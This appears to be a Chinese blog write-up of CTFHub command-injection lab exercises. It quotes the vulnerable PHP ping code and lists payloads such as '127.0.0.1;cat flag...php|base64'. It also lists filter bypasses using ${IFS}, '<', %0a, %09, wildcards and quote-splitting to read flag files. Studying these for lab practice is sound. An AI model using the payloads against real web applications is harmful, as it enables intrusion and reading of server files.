首页 > 其他分享 >命令执行

命令执行

时间:2024-04-13 16:44:21浏览次数:20  
标签:127.0 0.1 ip cat 命令 flag 执行 php

Linux特有:

; 前面的执行完执行后面的

Windows:

| 管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)

|| 当前面的执行出错时(为假)执行后面的
& 将任务置于后台执行
&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真
%0a (换行)
%0d (回车)

命令注入-无过滤

127.0.0.1;ls -al;

127.0.0.1;cat 65572221311708.php| base64;

过滤了cat

<?php

$res = FALSE;

if (isset($GET['ip']) && $GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/cat/", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $res = $m; } } ?>

显示过滤了cat

补充知识点:

linux查看文本的命令

cat 由第一行开始显示内容,并将所有内容输出

tac 从最后一行倒序显示内容,并将所有内容输出

more 根据窗口大小,一页一页的现实文件内容

less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符

head 只显示头几行

tail 只显示最后几行

nl 类似于cat -n,显示时输出行号

tailf 类似于tail -f

127.0.0.1;more flag_1734911163851.php|base64;

127.0.0.1;less flag_1734911163851.php|base64;

127.0.0.1;nl flag_1734911163851.php|base64;

127.0.0.1;head flag_1734911163851.php|base64;

127.0.0.1;tail flag_1734911163851.php|base64;

过滤了空格

先用127.0.0.1;ls然后

127.0.0.1;cat<flag_22651777714854.php|base64;

127.0.0.1;cat${IFS}$9flag_22651777714854.php|base64;

127.0.0.1;{IFS}flag_22651777714854.php|base64;

可参考下面这篇文章:

【BUUCTF】[GXYCTF2019] Ping Ping Ping 总结笔记 Writeup-CSDN博客

命令注入-过滤运算符

这里可以这样输入12.0.0.1 ; base64 flag_287012300514850.php

CTFHub 命令注入-综合练习

if (isset($GET['ip']) && $GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/(||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $res = $m; } }

这一关过滤了| & ; cat flag ctfhub 空格

cat可以用more、less、tac等代替代替

flag可以用fla*

空格可以用< ${IFS}$9 {IFS} 代替

命令分隔符可以用%0a代替

?ip=127.0.0.1%0als

Array
(
  [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
  [1] => flag_is_here
  [2] => index.php
)

?ip=127.0.0.1%0als%09*is_here(这里的%09*可以自动补全文件名,%09是Tab键的url编码)

flag_9312119741714.php

?ip=127.0.0.1%0acd%09*is_here%0ac%27a%27t%09*_1754153286910.php

标签:127.0,0.1,ip,cat,命令,flag,执行,php
From: https://www.cnblogs.com/cll-wlaq/p/18133051

相关文章

  • linux 常用命令有哪些
    linux常用命令有哪些 写回答关注问题点赞收藏分享发现错别字举报回答1浏览3891 帅末2linux常用命令有:pwd命令使用pwd命令找出您所在的当前工作目录(文件夹)的路径。该命令将返回一个绝对(完整)路径,该路径基本上是所有以/开头的目录的路径。绝对路......
  • cmd删除命令
    前言在windows下的命令行指令中,删除文件和删除文件夹是两个不同的操作;可以用win+r命令打开cmd窗口试一试。一、删除文件命令【谨慎操作】del或者erase是windows下删除文件的命令,命令不区分大小写,帮助文档如下:[](javascript:void(0)......
  • java中cron表达式 每10分钟执行一次
    在Java中,可以使用Quartz框架来定义和调度任务,包括使用Cron表达式来定义任务的执行时间。下面是一个使用Quartz框架实现每10分钟执行一次任务的示例:添加Quartz依赖在Maven项目中,添加以下依赖到pom.xml文件中:<dependency><groupId>org.quartz-scheduler</groupId><arti......
  • 在代码中获得linux shell命令执行结果的方法
    1.使用``符号``符号,及键盘左上角的反引号,类似markdown的内嵌代码,可以直接获得命令的执行结果作为字符串。charbuf[100];sprintf(buf,"echo\"`date`:%d\">>~/test_data.txt",123);system(buf);2.使用管道#defineCMD_RESULT_BUF_SIZE1024intExecute......
  • CMake通过外部传参执行不同逻辑的2种方案
    CMake通过外部传参执行不同逻辑的2种方案有时候一些场景需要在执行cmake指令时传入一些参数的值,使得CMakeLists.txt文件中的程序执行不同的逻辑,下面给出2种方案。1、SET指令给参数默认值SET(BUILD_PLATFORM"x86"CACHESTRING"selectbuildcputype")#外部用cmake.-DBUI......
  • linux C++程序测试命令的一种实现
    linuxC++程序测试命令的一种实现前言在程序开发调试过程中,或者已经部署的情况下,我们常常需要执行一些测试命令。在命令行端输入命令,然后程序执行,说起来简单,但是当程序本身有很多终端调试信息输出时,命令输入很不方便。针对上述问题,以下提供一个使用消息队列的命令行测试小工具......
  • umount命令提示busy无法正常卸载的解决
    umount命令提示busy无法正常卸载的解决在使用umount卸载时提示targetisbusy,如下root@bzlrobot:/#umount/media/bzlrobot/20E8-6F09umount:/media/bzlrobot/20E8-6F09:targetisbusy(Insomecasesusefulinfoaboutprocessesthatusethedevicei......
  • godot导出可执行程序
    godot导出可执行程序为什么要导出将项目到处为可执行程序,用于向别人分享自己的游戏支持的平台目前godot支持导出到常见平台:Linux/x11WindowsMacOSAndroidiosweb步骤导出模板首先下载并导入官方提供的导出模板​,详细信息参考官方文档注意:导出模板​与godot版本存......
  • SQL 执行大脚本 提示内存不足 解决办法
    SQL 执行大脚本 提示内存不足 解决办法 用微软自带的sqlcmd工具,可以导入执行。以SQL Server 2008R版本为例:第一步:Win+R 键入:cmd 命令,开启命令行工具;第二步:键入:cd C:\Program Files\Microsoft SQL Server\100\Tools\Binn (具体目录路径跟你安装的SQL位置有关)第三步:键入......
  • 在Linux中,如何编写一个脚本来自动执行日常任务?
    在Linux中,编写脚本以自动执行日常任务是一种常见的自动化方法。这些脚本可以利用shell的命令行功能来简化重复性工作,提高效率。以下是一个简单的shell脚本编写和执行的步骤:1.选择脚本编辑器首先,选择一个文本编辑器来编写脚本。常用的编辑器有vi、nano、emacs等。2.创建脚本文......